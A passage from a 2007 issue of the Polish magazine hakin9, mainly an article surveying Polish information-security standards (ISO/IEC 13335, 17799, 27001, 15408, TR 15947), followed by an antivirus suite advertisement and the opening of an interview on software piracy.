gnięciem w dziedzinie protokołów
uwierzytelniających hasłem w spo-
sób możliwie bezpieczny. Łatwość
implementacji, oraz dostępne gotowe
biblioteki czynią to rozwiązanie dość
prostym do wdrożenia w nowych sys-
temach (przeróbka systemu o innej
technice uwierzytelniania może być
znacznie bardziej kłopotliwa).

Możemy sobie życzyć, aby tego

typu rozwiązania były jak najszerzej
wykorzystywane, zwiększając su-
mę bezpieczeństwa informacyjnego
używanych przez nas systemów. l

background image

www.hakin9.org

hakin9 Nr 8/2007

66

Bezpieczna Firma

W

raz z rozwojem społeczeństwa in-
formacyjnego pojawiła się potrze-
ba standaryzacji zagadnień zwią-

zanych z bezpieczeństwem informacji. Szereg
organizacji i stowarzyszeń branżowych opra-
cowało własne standardy. Oto niektóre z nich
patrz Ramka Normy, standardy, zalecenia.

Zanim omówimy polskie normy dotyczące

sensu stricte problematyki bezpieczeństwa in-
formacji, warto wspomnieć o dwóch mało zna-
nych normach terminologicznych. Od nich
wszystko się zaczęło.

Trochę terminologii

W pierwszej z nich, PN-ISO/IEC 2382-8:
2001 Technika informatyczna – Terminologia
– Bezpieczeństwo, zdefiniowano w dwóch ję-
zykach (polskim i angielskim) terminy ogólne
odnoszące się do ochrony danych i informa-
cji, włącznie z kryptografią, klasyfikacją infor-
macji i kontrolą dostępu, odzyskiwaniem da-
nych i informacji oraz naruszeniem bezpie-
czeństwa. Norma ma ułatwić porozumiewa-
nie się w dziedzinie technik informatycznych
w skali międzynarodowej. W normie brak de-
finicji bezpieczeństwa informacji. Operuje się
w niej natomiast pojęciem bezpieczeństwo

danych, rozumianym jako bezpieczeństwo
systemu informatycznego w odniesieniu do
danych. Zaś samo bezpieczeństwo systemu
informatycznego definiuje się jako ochronę
danych i zasobów przed przypadkowymi lub
złośliwymi działaniami, zwykle poprzez pod-
jęcie odpowiednich kroków zaradczych lub
prewencyjnych. Złośliwymi działaniami mogą
być: modyfikacja, zniszczenie, dostęp, ujaw-
nienie lub pozyskanie danych, jeśli działania
te nie są uprawnione. Natomiast ochronę da-
nych definiuje się jako wdrożenie środków ad-
ministracyjnych, technicznych lub fizycznych
w celu ochrony przed nieuprawnionym dostę-
pem do danych.

Bezpieczeństwo informacji

w polskich normach

Andrzej Guzik

stopień trudności

Polskie normy dotyczące bezpieczeństwa informacji stanowią,

obok przepisów prawa oraz standardów branżowych, tzw.

najlepsze praktyki, wytyczne dla organizacji lub wymagania w

przypadku podjęcia decyzji o wdrożeniu w instytucji systemu

zarządzania bezpieczeństwem informacji według PN-ISO/IEC

27001: 2007.

Z artykułu dowiesz się

• jakie polskie normy i raporty techniczne stano-

wią najlepsze praktyki w zakresie zapewnienia
bezpieczeństwa informacji w instytucji.

Co powinieneś wiedzieć

• znać podstawowe wymagania dotyczące bez-

pieczeństwa informacji.

background image

Bezpieczeństwo informacji w polskich normach

hakin9 Nr 8/2007

www.hakin9.org

67

W drugiej normie terminologicz-

nej, PN-I-02000: 2002 Technika in-
formatyczna – Zabezpieczenia w
systemach informatycznych – Ter-
minologia, podano polską terminolo-
gię (z angielskimi odpowiednikami) z
zakresu bezpieczeństwa systemów
informatycznych. Norma może być
przydatna do tłumaczenia tekstów
technicznych, norm i dokumentów
oraz do precyzyjnej i jednoznacznej

wymiany informacji podczas kon-
taktów międzynarodowych i krajo-
wych. Warto w tym miejscu zwró-
cić uwagę na rozróżnienie angiel-
skich słów security i safety, przekła-
danych na język polski jako bezpie-
czeństwo. Autorzy tłumaczenia nor-
my przyjęli, że termin security ozna-
cza wszelkie zabezpieczenia chro-
niące system informatyczny i jego
zasoby przed szkodliwym oddziały-

waniem otoczenia, zaś termin safe-

ty oznacza wszelkie zabezpieczenia
chroniące otoczenie przed szkodli-
wymi lub wręcz katastroficznymi od-
działywaniami systemu informatycz-
nego na otoczenie systemu. W nor-
mie po raz pierwszy pojawia się ter-
min bezpieczeństwo informacji, ro-
zumiany jako system informatyczny
wraz z systemem bezpieczeństwa
komunikacji, składający się z wy-
tycznych i procedur administracyj-
nych, przeznaczony do identyfiko-
wania, nadzoru i ochrony informacji
przed nieuprawnionym ujawnieniem.
Natomiast ochronę danych definiuje
się tu tak, jak w normie PN-ISO/IEC
2382-8: 2001.

Standardy

bezpieczeństwa

informacji

Przejdźmy do standardów o funda-
mentalnym znaczeniu dla bezpie-
czeństwa informacji. Wśród nich na-
leży wymienić: raporty ISO/IEC TR
13335, normę ISO/IEC 17799 oraz
normę ISO/IEC 15408, tzw. Com-

mon Criteria (Wspólne Kryteria).
W dalszej części artykułu zostaną
scharakteryzowane jedynie wybra-
ne standardy (nie wszystkie prze-
tłumaczono bowiem na język pol-
ski). W Polsce ukazały się jedynie 3
spośród 5 części raportów technicz-
nych ISO/IEC TR 13335. Część 1 –
ukazała się jako polska norma PN-
I-13335-1: 1999 Technika informa-
tyczna – Wytyczne do zarządzania
bezpieczeństwem systemów infor-
matycznych – Pojęcia i modele bez-
pieczeństwa systemów informatycz-
nych, części 2 i 3 jako raporty tech-
niczne: ISO/IEC TR 133335-2 Tech-
nika informatyczna – Wytyczne do
zarządzania bezpieczeństwem sys-
temów informatycznych. Część 2
– Zarządzanie i planowanie bez-
pieczeństwa systemów informa-
tycznych oraz ISO/IEC TR 13335-3
Technika informatyczna – Wytyczne
do zarządzania bezpieczeństwem
systemów informatycznych. Część
3 – Techniki zarządzania bezpie-
czeństwem systemów informatycz-
nych. W Polsce nie przetłumaczono
4 części raportu – ISO/IEC 13335-

Normy, standardy, zalecenia

• BS 15000 (zastąpiony normą ISO/IEC 20000: 2005) – brytyjski standard opracowa-

ny przez BSI (British Standard Institution) opisujący system zarządzania usługami
informatycznymi,

• BS 25999: 2006 – opracowany przez BSI standard, dotyczący obszaru zarządza-

nia ciągłością działania (zastąpił specyfikacje PAS-56),

• BS 7799-1 – opracowany przez BSI standard, definiuje wytyczne w zakresie usta-

nowienia, wdrożenia, eksploatacji, monitorowania, przeglądu, utrzymania i dosko-
nalenia Systemu Zarządzania Bezpieczeństwem Informacji (zastąpiony przez
ISO/IEC 17799: 2005),

• BS 7799-2 – opracowany przez BSI standard, który określa wymagania w zakre-

sie ustanowienia, wdrożenia, eksploatacji, monitorowania, przeglądu, utrzymania
i doskonalenia Systemu Zarządzania Bezpieczeństwem Informacji (zastąpiony
przez ISO/IEC 27001: 2005),

• BS 7799-3 – norma dotycząca zarządzania ryzykiem bezpieczeństwa informacji,
• COBIT (Control Objectives for Information related Technology) – metodyka kontro-

li i audytu systemów informatycznych,

• MARION (Mission Analysis and Risk Impact on Operations Network tool) – meto-

dyka przeprowadzania audytów bezpieczeństwa w instytucjach sektora finanso-
wego,

• ISO/IEC TR 18044 – standard przedstawia dobre praktyki w zakresie zarządzania

incydentami bezpieczeństwa informacji,

• ITIL (IT Infrastructure Library) – zbiór dobrych praktyk zarządzania organiza-

cją IT.

Rysunek 1.

Związki pomiędzy elementami bezpieczeństwa

ZAGROŻENIA

PODATNOŚCI

WYMAGANIA

W ZAKRESIE

OCHRONY

WARTOŚCI

(stąd potencjalne

następstwa dla

działania instytucji)

ZASOBY

RYZYKA

ZABEZPIECZENIA

wykorzystują

zwiększają

narażają

zwiększają

analiza

wskazuje

posiadają

realizowana przez

zwiększają

zmniejszają

chronią przed

background image

hakin9 Nr 8/2007

www.hakin9.org

Bezpieczna firma

68

4: Wybór zabezpieczeń oraz jego 5
części: ISO/IEC 13335-5: Zabez-
pieczenie połączeń zewnętrznych.
Polska norma PN-I-13335-1 grupu-
je wytyczne dotyczące zarządza-
nia bezpieczeństwem systemów in-
formatycznych. Materiał ten może
być przydatny dla kierownictwa od-
powiedzialnego za bezpieczeństwo
systemów informatycznych oraz dla
osób, które odpowiadają za cało-
ściowy program bezpieczeństwa w
instytucji.

W rozumieniu normy, bezpie-

czeństwo systemu informatyczne-
go to wszystkie aspekty związane
z definiowaniem, osiąganiem i utrzy-
mywaniem poufności, integralności,
dostępności, rozliczalności, auten-
tyczności i niezawodności. W nor-
mie przedstawiono podstawowe po-
jęcia dotyczące bezpieczeństwa te-
leinformatycznego, takie jak: zasób,
podatność, zagrożenia, następstwo,
ryzyko, zabezpieczenie lub ryzyko
szczątkowe. W formie prostych mo-
deli pojęciowych pokazano związki
zachodzące między nimi.

W normie przedstawiono rów-

nież podstawowe procesy związa-
ne z procesem zarządzania bez-
pieczeństwem systemów informa-
tycznych. Wyodrębniono trzy pod-
stawowe procesy: proces zarzą-
dzania konfiguracją, proces zarzą-
dzania zmianami i proces zarządza-
nia ryzykiem. Autorzy normy zwra-

cają również uwagę na wiele typów
ograniczeń, na ograniczenia organi-
zacyjne, finansowe, środowiskowe,
osobowe, czasowe, prawne, tech-
niczne, kulturowe i społeczne, któ-
re należy wziąć pod uwagę, wybie-
rając i implementując zabezpiecze-
nia w ramach budowy systemu bez-
pieczeństwa instytucji. Raport tech-
niczny ISO/IEC 13335-2, wydanie
polskie – Polski Komitet Normali-
zacyjny 2003, zawiera wytyczne
do zarządzania i planowania bez-
pieczeństwa systemów teleinforma-
tycznych.

Raport ten może być przydat-

ny dla kierownictwa odpowiedzial-
nego za systemy informatyczne
w instytucji. Zarządzanie bezpie-
czeństwem systemów informatycz-
nych instytucji jest procesem, któ-
ry ma służyć osiąganiu i utrzyma-
niu odpowiedniego poziomu po-
ufności, integralności, dostępno-
ści, rozliczalności, autentyczności
i niezawodności. Punktem począt-
kowym jest w nim ustalenie celów
instytucji dotyczących bezpieczeń-
stwa systemów informatycznych.
Cele te powinny wynikać z celów
biznesowych instytucji. Zarządza-
nie bezpieczeństwem systemów
informatycznych obejmuje sze-
reg działań, m. in. określenie ce-
lów, strategii i polityki bezpieczeń-
stwa, określenie wymagań w za-
kresie bezpieczeństwa, wybór stra-

tegii analizy ryzyka, wybór zabez-
pieczeń – opracowanie planu za-
bezpieczeń systemu/-ów informa-
tycznych instytucji, monitorowanie
procesu ich wdrażania, przygoto-
wanie personelu (szkolenia, dzia-
łania uświadamiające) oraz czyn-
ności wykonywane już po wdroże-
niu zabezpieczeń, takie jak: utrzy-
manie zabezpieczeń, zgodność z
planem zabezpieczeń, monitoro-
wanie oraz obsługa incydentów.
Warto w tym miejscu zwrócić uwa-
gę na organizację służb odpowie-
dzialnych za bezpieczeństwo w in-
stytucji, a mianowicie: komitet bez-
pieczeństwa systemów informa-
tycznych, główny inspektor bezpie-
czeństwa systemów informatycz-
nych, inspektorzy bezpieczeństwa
projektu/systemu informatycznego.
Zasadniczą sprawą dla efektywno-
ści działań w zakresie zapewnie-
nia bezpieczeństwa systemów in-
formatycznych instytucji jest popar-
cie ze strony najwyższego kierow-
nictwa instytucji. Poparcie to musi
być faktyczne, a nie tylko deklaro-
wane. Raport techniczny ISO/IEC
13335-3, wydanie polskie – Pol-
ski Komitet Normalizacyjny 2003,
zawiera wytyczne do zarządzania
bezpieczeństwem systemów infor-
matycznych. Zarządzanie bezpie-
czeństwem systemów informatycz-
nych obejmuje analizę wymagań
bezpieczeństwa, stworzenie planu,
który zapewni spełnienie tych wy-
magań, wdrożenie tego planu oraz
utrzymanie i administrowanie wdro-
żonymi zabezpieczeniami. Proces
ten rozpoczyna się od określenia
celów i strategii instytucji w dzie-
dzinie bezpieczeństwa systemów
informatycznych oraz od opraco-
wania polityki bezpieczeństwa in-

O autorze

Andrzej Guzik – audytor systemów
zarządzania jakością i bezpieczeń-
stwem informacji, specjalista w zakre-
sie ochrony informacji prawnie chro-
nionych, redaktor portalu http://www.
ochronainformacji.pl
Kontakt z autorem: a.guzik@ochrona-
informacji.pl

Rysunek 2.

Model PDCA stosowany w procesach SZBI

Wykonuj

(Do)

Działaj

(Act)

Utrzymanie

i doskonalenie ISMS

Wdrożenie

i eksploatacja ISMS

Planuj

(Plan)

Sprawdzaj

(Check)

Ustanowienie

ISMS

Monitorowanie

i przegląd ISMS

Wymagania

i oczekiwania

dotyczące

bezpieczeństwa

informacji

Zainteresowane

strony

Zarządzanie

bezpieczeństwem

informacji

Zainteresowane

strony

background image

Bezpieczeństwo informacji w polskich normach

hakin9 Nr 8/2007

www.hakin9.org

69

stytucji w zakresie systemów in-
formatycznych. Ważną częścią
procesu zarządzania bezpieczeń-
stwem systemów informatycznych
jest oszacowanie i analiza ryzyka,
ponieważ w oparciu o wyniki ana-
lizy ryzyka dobiera się odpowied-
nie zabezpieczenia. Zastosowane
zabezpieczenia powinny być opła-
calne, pod względem poniesionych
na nie kosztów i uwzględniać wy-
magania wynikające z przepisów
prawa, wymagania biznesowe i wy-
magania z analizy ryzyka zasobów
posiadających wartość dla dzia-
łania instytucji. Ryzyko, jakie po-
wstaje po wprowadzeniu zabezpie-
czeń, nazywamy ryzykiem szcząt-
kowym. Również dokument polity-
ki bezpieczeństwa powinien zawie-
rać m. in. podejście do zarządza-
nia ryzykiem, strategię dla analizy
ryzyka i części składowe tej ana-
lizy (metody i techniki). Przyję-
ta strategia analizy ryzyka powin-
na uwzględniać warunki charakte-
rystyczne dla jednostki organiza-
cyjnej i koncentrować się na dzia-
łaniach związanych z bezpieczeń-
stwem, tam gdzie są one napraw-
dę potrzebne. W raporcie przedsta-
wiono cztery warianty podejścia do
analizy ryzyka: podejście podsta-
wowego poziomu bezpieczeństwa,
podejście nieformalne, szczegóło-
wą analizę ryzyka i podejście mie-
szane. Podstawowa różnica pomię-
dzy nimi dotyczy stopnia szczegó-
łowości analizy ryzyka. Podejście
podstawowego poziomu bezpie-
czeństwa polega na wprowadzeniu
standardowych zabezpieczeń, nie-
zależnie od ryzyka wynikającego z
analizy zasobów, zagrożeń i podat-
ności. Podejście nieformalne pole-
ga na wykorzystaniu wiedzy i do-
świadczenia ekspertów; koncentru-
je się na zasobach narażonych na
wysokie ryzyko. Z kolei szczegóło-
wa analiza ryzyka wymaga identy-
fikacji i wyceny aktywów, oszaco-
wania zagrożeń oraz oszacowa-
nia podatności. Możliwość czwar-
ta, podejście mieszane, obejmu-
je dwa etapy. W pierwszym eta-
pie przeprowadza się ogólną ana-
lizę ryzyka dla wszystkich zasobów

z uwzględnieniem ich wartości biz-
nesowej i ryzyka, na które są one
narażone. Dla wszystkich zidenty-
fikowanych zasobów, które są waż-
ne dla instytucji i narażone na wy-
sokie ryzyko, należy przeprowa-
dzić później szczegółową analizę
ryzyka. W drugim etapie dla pozo-
stałych zasobów należy zastoso-
wać podejście podstawowego po-
ziomu bezpieczeństwa. Przyjęcie
podejścia mieszanego zalecane
jest dla większości instytucji. Jest
ono najbardziej efektywne – szcze-
gółowa analiza ryzyka w odniesie-
niu do zasobów posiadających war-
tość lub narażonych na wysokie ry-
zyko, a dla pozostałych zasobów
zastosowanie podstawowego po-
ziomu bezpieczeństwa – wdroże-
nie standardowych zabezpieczeń.
Wdrożeniu zabezpieczeń powi-
nien towarzyszyć również program
uświadamiania i szkoleń, ważny
dla uzyskania efektywności zabez-
pieczeń. Ponadto nie należy zapo-
minać o działaniach po wdrożeniu
zabezpieczeń. Działania te powin-
ny obejmować m. in. konserwacje,
sprawdzenie zgodności z zasadami
bezpieczeństwa, zarządzanie za-
mianami, monitorowanie oraz po-
stępowanie w przypadku incyden-
tów. Warto również zwrócić uwa-
gę na załączniki do raportu. Mają
one charakter praktyczny. Załącz-
nik A zawiera przykład spisu treści
polityki bezpieczeństwa instytucji
w zakresie systemów informatycz-
nych, załącznik B omawia wycenę
aktywów, załącznik C przedstawia
listę kontrolną możliwych typów za-
grożeń, załącznik D zawiera przy-
kłady typowych podatności, zaś za-
łącznik E przykłady wykorzystania
różnych metod analizy ryzyka.

Zarządzanie

bezpieczeństwem

informacji

Norma PN-ISO/IEC 17799: 2007
Technika informatyczna – Tech-
niki bezpieczeństwa – Praktycz-
ne zasady zarządzania bezpie-
czeństwem informacji jest pierw-
szym standardem obejmującym
kompleksowo zarządzanie bezpie-

czeństwem informacji. Celem tej
normy jest wdrożenie takich me-
chanizmów zarządzania, które za-
pewnią, że bezpieczeństwo infor-
macji będzie istotnym elementem
funkcjonowania organizacji. Nor-
ma zawiera wytyczne zarządzania
bezpieczeństwem informacji. Do-
tyczy wszystkich obszarów bez-
pieczeństwa: fizycznego i środo-
wiskowego, osobowego, IT, zarzą-
dzenia ciągłością działania i za-
pewnienia zgodności z przepisami
prawa. Zgodnie z ową normą, infor-
macja jest aktywem, który podob-
nie jak inne ważne aktywa bizneso-
we ma dla instytucji wartość i dla-
tego należy ją odpowiednio chro-
nić. Dotyczy to zarówno ochro-
ny informacji własnych instytucji,
jak i zapewnienia bezpieczeństwa
informacji udostępnionych przez
klienta. Bezpieczeństwo informa-
cji oznacza według normy ochro-
nę informacji przed różnymi za-
grożeniami w taki sposób, aby za-
pewnić ciągłość działania – reali-
zację celów statutowych instytu-
cji, zminimalizować straty i zmak-
symalizować zwrot nakładów na in-
westycje i działania o charakterze
biznesowym. Norma odnosi się tyl-
ko do 3 aspektów informacji podle-
gających ochronie: poufności – za-
pewnienie dostępu do informacji
tylko osobom upoważnionym, inte-
gralności – zapewnienie dokładno-
ści i kompletności informacji i me-
tod jej przetwarzania, dostępno-
ści – zapewnienia, że osoby upo-
ważnione mają dostęp do informa-
cji i związanych z nią aktywów wte-
dy, gdy im jest to potrzebne. Nor-
ma PN-ISO/IEC 27001: 2007 Tech-
nika informatyczna – Techniki bez-
pieczeństwa – Systemy zarządza-
nia bezpieczeństwem informacji
– Wymagania definiuje system za-
rządzania bezpieczeństwem infor-
macji (SZBI). Powinien on stano-
wić część składową systemu za-
rządzania instytucją i być oparty
na podejściu wynikającym z ryzy-
ka biznesowego. Norma zaleca po-
dejście systemowe oparte na cią-
głym doskonaleniu, zgodnie z cy-
klem PDCA (Plan-Do-Check-Act)

background image

hakin9 Nr 8/2007

www.hakin9.org

Bezpieczna firma

70

Deminga obejmującym: ustanowie-
nie, wdrożenie, eksploatację, moni-
torowanie, przegląd, a także utrzy-
manie i doskonalenie SZBI.

Norma oparta jest podobnie

jak norma ISO 9001: 2000 i nor-
ma ISO 14001: 2004 na zasadach
podejścia procesowego. Umożli-
wia w instytucji budowę zintegro-
wanego systemu zarządzania: za-
rządzania jakością w oparciu o nor-
mę ISO 9001 i zarządzania bezpie-
czeństwem informacji w oparciu o
normę ISO 27001. Wdrożenie w in-
stytucji zintegrowanego systemu
zarządzania może przynieść or-
ganizacji szereg korzyści: pozwo-
li objąć systemem wszystkie ob-
szary działania firmy, zwróci uwa-
gę na ochronę informacji i jej war-
tość, zwiększy zainteresowanie
technologiami ICT, spowoduje pro-
wadzenie analizy i zarządzania ry-
zykiem, zapewni opracowanie pla-
nów ciągłości działania, przyczyni
się do uzyskania przewagi nad kon-
kurencją i poprawi wizerunek firmy.
W załączniku A do normy przedsta-
wiono cele stosowania zabezpie-
czeń i zabezpieczenia, które na-
leży wybrać w przypadku podję-
cia decyzji o wdrożeniu w instytucji
SZBI. Norma może być przydatna
dla każdej organizacji, niezależnie
od wielkości czy branży, niezależ-
nie od tego, czy instytucja będzie
ubiegać się o certyfikację systemu
zarządzania bezpieczeństwem in-
formacji, czy nie.

Wspólne Kryteria

Warto wspomnieć również o nor-
mie ISO/IEC 15408. Norma skła-
da się z trzech części, z czego na
język polski przetłumaczono pierw-
szą i trzecią część, odpowiednio
PN-ISO/IEC 15408-1: 2002 Tech-
nika informatyczna – Techniki za-
bezpieczeń – Kryteria oceny za-
bezpieczeń informatycznych Część
1: Wprowadzenie i model ogólny i
PN-ISO/IEC 15408-3: 2002 Tech-
nika informatyczna – Techniki za-
bezpieczeń – Kryteria oceny za-
bezpieczeń informatycznych Część
3: Wymagania uzasadnienia zaufa-
nia do zabezpieczeń. Nie przetłu-

maczono części drugiej, ISO/IEC
15408-2 Security functional re-

quirements (Wymagania funkcjo-
nalne zabezpieczeń). W normie
PN-ISO/IEC 15408-1 przedsta-
wiono terminologię używaną we
wszystkich częściach normy. Za-
warto zasady oceny systemów za-
bezpieczeń oraz ogólny model, na
którym taka ewaluacja może być
oparta. W załączniku A do normy
opisano projekt Wspólnych Kryte-
riów, w załączniku B przedstawio-
no specyfikację profili zabezpie-
czeń, a w załączniku C specyfika-
cję zadań zabezpieczeń. Zgodnie z
normą, profil zabezpieczeń definio-
wany jest przez niezależny od im-
plementacji zbiór wymagań na za-
bezpieczenia teleinformatyczne dla
określonego typu przedmiotu oce-
ny. Zadanie zabezpieczeń zawie-
ra natomiast wymagania w zakre-
sie bezpieczeństwa dla konkret-
nego przedmiotu oceny i stano-
wi podstawę takiej ewaluacji. Za-
danie zabezpieczeń może zawie-
rać wymagania lub być zgodne z
jednym lub wieloma profilami za-
bezpieczeń. W części trzeciej nor-
my ISO/IEC 15408-3 zdefiniowano
wymagania uzasadnienia zaufania.
Przedstawiono kryteria oceny pro-
filu zabezpieczeń i zadania zabez-
pieczeń, a także wprowadzono po-
ziomy uzasadnienia zaufania EAL
(Evaluation Assurance Levels),
które wskazują skalę do określenia
tych poziomów (miarę wiarygodno-
ści). Wynikiem oceny systemu (pro-
duktu) informatycznego według za-
leceń Common Criteria jest doku-
ment stwierdzający:

zgodność tego systemu z okre-
ślonym profilem zabezpieczeń,

spełnienie wymagań bezpie-
czeństwa określonych w zada-
niach zabezpieczenia lub przy-
pisanie do konkretnego poziomu
uzasadnionego zaufania (EAL).

Wykrywanie włamań

Na koniec warto wspomnieć o ra-
porcie technicznym ISO/IEC TR
15947: 2002 Technika informatycz-
na – Techniki zabezpieczeń – Struk-

tura wykrywania włamań w syste-
mach teleinformatycznych. Raport
ten stanowi kompendium wiedzy na
temat wykrywania włamań w syste-
mach teleinformatycznych. Zapre-
zentowano w nim nie tylko ogólny
system wykrywania włamań, ale
scharakteryzowano również typy i
źródła danych wejściowych, w opar-
ciu o które konstruuje się modele
reakcji tych systemów na określo-
ne zdarzenia. Szczegółowo opisano
działania podejmowane w odpowie-
dzi na wykrycie włamania. Raport
zawiera wiele cennych danych przy-
datnych osobom, które są odpowie-
dzialne za bezpieczeństwo sieci
korporacyjnych. Może być również
dobrym źródłem informacji dla pro-
jektantów i osób, zajmujących się
systemami wykrywania włamań.

Podsumowanie

Polskie normy dotyczące bez-
pieczeństwa informacji stanowią
tłumaczenie dokumentów ISO.
Oprócz norm International Orga-

nization for Standardization istnie-
je szereg zaleceń zawierających
wytyczne w zakresie ochrony sys-
temów teleinformatycznych o za-
sięgu lokalnym dotyczącym kraju,
grupy krajów lub grupy użytkowni-
ków, np. Internetu. Dokumenty te-
go typu stanowią cenne uzupełnie-
nie norm ISO i IEC (International

Electrotechnical Commission). W
polskich warunkach mamy zwykle
do czynienia z konglomeratem kil-
ku tajemnic prawnie chronionych i
informacji biznesowych chronio-
nych we własnym interesie. Tylko
niektóre z nich (dane osobowe, in-
formacje niejawne) mają przepi-
sy wykonawcze, wymagania w za-
kresie ochrony. Większość z nich
nie określa wymagań, jak je chro-
nić, a chronić je należy. W przy-
padku tych tajemnic, dla których
brak wymagań i wytycznych w za-
kresie ochrony, pomocne mogą być
standardy, zalecenia i polskie nor-
my dotyczące bezpieczeństwa in-
formacji, które stanowią źródło tzw.
dobrych praktyk. Zachęcam do za-
poznania się z nimi i praktycznego
ich stosowania. l

background image
background image

OUTPOST SECURITY SUITE

– Nowy Pakiet Bezpieczeństwa Dla Wymagających

Outpost Security Suite Pro jest pierwszym w historii fir-
my Agnitum proaktywnym pakietem typu Internet se-
curity. Program powstał na bazie znanego i cenione-
go na całym świecie Outpost Firewall Pro, który uzu-
pełniono o moduł antywirusowy oraz filtr antyspamo-
wy. Pakiet zapewnia stacjom roboczym pełną ochronę
przed skutkami aktywności koni trojańskich, wirusów,
robaków czy też programów typu spyware. Dodatko-
wo Outpost Security Suite dysponuje specjalnym mo-
dułem, który zabezpiecza go przed deaktywacją lub
zablokowaniem wybranych funkcji przez złośliwe pro-
gramy. Ważną cechą pakietu jest proaktywność, dzię-
ki której użytkownik jest chroniony przed nowymi,
jeszcze nierozpoznanymi zagrożeniami.

ZNANY I SKUTECZNY
PERSONAL FIREWALL

Firewall, będący fundamentem pakietu, monitoruje
wszystkie połączenia z komputerem użytkownika.
W razie wykrycia ataku lub próby nawiązania nie-
autoryzowanego połączenia przez samą stację ro-
boczą program automatycznie blokuje zagrożenie
oraz powiadamia użytkownika o zaistniałym zda-
rzeniu. Dodatkową ochronę zapewnia pełna bloka-
da portów, dzięki której komputer użytkownika sta-
je się niewidoczny dla innych użytkowników sieci.
Outpost Security Suite Pro zabezpiecza przed ata-
kami wewnątrz sieci LAN, eliminuje ryzyko prze-
chwycenia informacji wrażliwych oraz chroni przed
skutkami działań pułapek phishingowych.

INNOWACYJNY SILNIK SKANUJĄCY

Ważnym elementem Outpost Security Suite jest in-
nowacyjny silnik skanujący, który wykrywa wiru-
sy, robaki oraz inne złośliwe programy. Powstał on w

oparciu o ulepszoną technologię na licencji VirusBu-
ster – węgierskiego producenta rozwiązań antywiru-
sowych, który wielokrotnie uzyskał w prestiżowych
testach Virus Bulletin nagrodę 100%. Skaner wypo-
sażono w technologię SmartScan, która optymali-
zuje proces sprawdzania nośników oraz załączni-
ków poczty elektronicznej w poszukiwaniu wirusów.
Dzięki SmartScan użytkownik może zlecić progra-
mowi sprawdzanie wyłącznie nowych zbiorów oraz
plików, które uległy modyfikacji od momentu ostat-
niego skanowania, co w znaczący sposób przyspie-
sza cały proces.

Outpost Security Suite dysponuje również sku-

teczną ochroną antyspamową opartą na inteligent-
nym filtrze Bayesa, który stopniowo uczy się roz-
poznawać, które z otrzymywanych wiadomości
elektronicznych są spamem, a które nie.

STWORZONY Z MYŚLĄ
O WYGODZIE UŻYTKOWNIKA

Firma Agnitum zadbała by jej nowy produkt był nie
tylko skuteczny, ale też prosty w obsłudze. Z myślą
o wygodzie użytkownika zautomatyzowano i mak-
symalnie uproszczono cały proces instalacji oraz
konfiguracji programu. Dodatkowo Outpost Securi-
ty Suite, podobnie jak Outpost Firewall Pro dysponu-
je usługą ImproveNet - społecznością, którą tworzą
użytkownicy programów Agnitum oraz eksperci bez-
pieczeństwa z tej firmy. Dołączając do programu Im-
proveNet użytkownik może automatycznie korzy-
stać z gotowych szablonów reguł udostępnianych
przez firmę Agnitum. Zaktualizowane reguły dystry-
buowane są codziennie dzięki czemu konieczność
ręcznego ustawiania zabezpieczeń programu zosta-
je zredukowana do minimum. Dodatkową pomocą
dla niedoświadczonych użytkowników jest system
SmartAdvisor podpowiadający, który program powi-
nien otrzymać zezwolenie na połączeni się z siecią,
a który takiego dostępu mieć nie powinien.

Kolejnym rozwiązaniem stworzonym z myślą

o wygodzie użytkownika jest tzw. tryb cichy. Dzię-
ki niemu Outpost Security Suite rozpoznaje, kiedy na
stacji roboczej uruchomiono program multimedial-

ny, a następnie automatycznie zmienia swoje usta-
wienia tak, aby nie przeszkadzać w rozrywce i nie
wyświetlać standardowych alertów. Zagrożenia, któ-
re zostaną w tym czasie wykryte są automatycznie
zabezpieczane i stają się widoczne dla użytkownika
dopiero po wyłączeniu multimediów. Decyzję, które
programy mają być traktowane przez pakiet jako
multimedialne podejmuje sam użytkownik.

Zaawansowani użytkownicy, którzy wymaga-

ją od programów typu Internet security profesjo-
nalnej i pewnej ochrony będą usatysfakcjonowa-
ni nie tylko funkcjonalnością i sposobem działania
programu, ale również rozbudowanym systemem
opcji oraz dostępem do szczegółowej bazy danych
zawierającej informacje o ruchu w sieci. Precyzyj-
ne oraz co ważniejsze szybkie wyszukiwanie kon-
kretnych informacji o połączeniach zapewnia wbu-
dowany system filtrów.

Wyłącznym dystrybutorem Outpost Securi-

ty Suite oraz innych programów firmy Agnitum na
terenie Polski jest Dagma. Firma wprowadziła już
do sprzedaży Outpost Security Suite w angielskiej
wersji językowej. Równocześnie programiści Dag-
my przystąpili do prac nad spolszczeniem pakie-
tu. Po ich ukończeniu użytkownicy angielskiej wer-
sji Outpost Security Suite będą mogli skorzystać z
bezpłatnej migracji do polskiej wersji językowej.

Dodatkowe informacje:
Dagma sp. z o.o.
Tel. 32 259 11 00
www.outpost.pl

Kontakt:

Reklama

Firma Agnitum, producent wielokrotnie nagradzanego Outpost Firewalla Pro,

wprowadziła do sprzedaży pełną wersję nowego produktu, pakietu typu

Internet Security – Outpost Security Suite Pro.

background image
background image

www.hakin9.org

hakin9 Nr 8/2007

74

Wywiad

hakin9:

Kto dziś w Polsce zajmuje się pirac-

twem – czy są to zorganizowane grupy prze-
stępcze, czy domowi piraci?

Krzysztof Janiszewski:

Polska z pewno-

ścią nie jest wyizolowaną wyspą, więc możemy
mówić o tym zjawisku w ujęciu globalnym. Pirac-
two to z jednej strony zajęcie osób i całych grup
trudniących się dystrybucją nielegalnego opro-
gramowania, z drugiej strony szeroko rozpo-
wszechnione używanie programów nielicencjo-
nowanych przez odbiorców – klientów indywidu-
alnych, ale niestety również i firmy. Statystyki po-
kazują, że bywa z tym rzeczywiście nieco ina-
czej w różnych krajach. Wiadomo, że im większa
skala piractwa, tym więcej nielegalnego oprogra-
mowania w firmach. Tam, gdzie z kolei statysty-
ki wykazują najniższą skalę, najwięcej piractwa
znajduje się w segmencie użytkowników indywi-
dualnych. A zatem będą to kraje najbardziej cy-
wilizowane, o wysokim stopniu rozwoju jak USA,
Japonia, Wielka Brytania, gdzie skala piractwa
waha się w granicach 20%-25%. Myślę, że głów-
na część piractwa to jednak segment użytkowni-
ków indywidualnych. Tam, gdzie ta skala kształ-
tuje się na poziomie 57% (jak w Polsce), wiado-
mo, że walnie przyczynia się do tego używanie
nielegalnych programów w firmach.

h9:

Jaka jest aktualnie skala piractwa w

Polsce na przykładzie Microsoft?

KJ:

W ciągu ostatnich kilku lat, jak wskazu-

ją badania BSA opublikowane w połowie maja,
skala ta w Polsce powoli spada. Jest to dobra
tendencja, aczkolwiek spadek 1% w skali roku
to wciąż nie jest to, czego oczekujemy. Warto
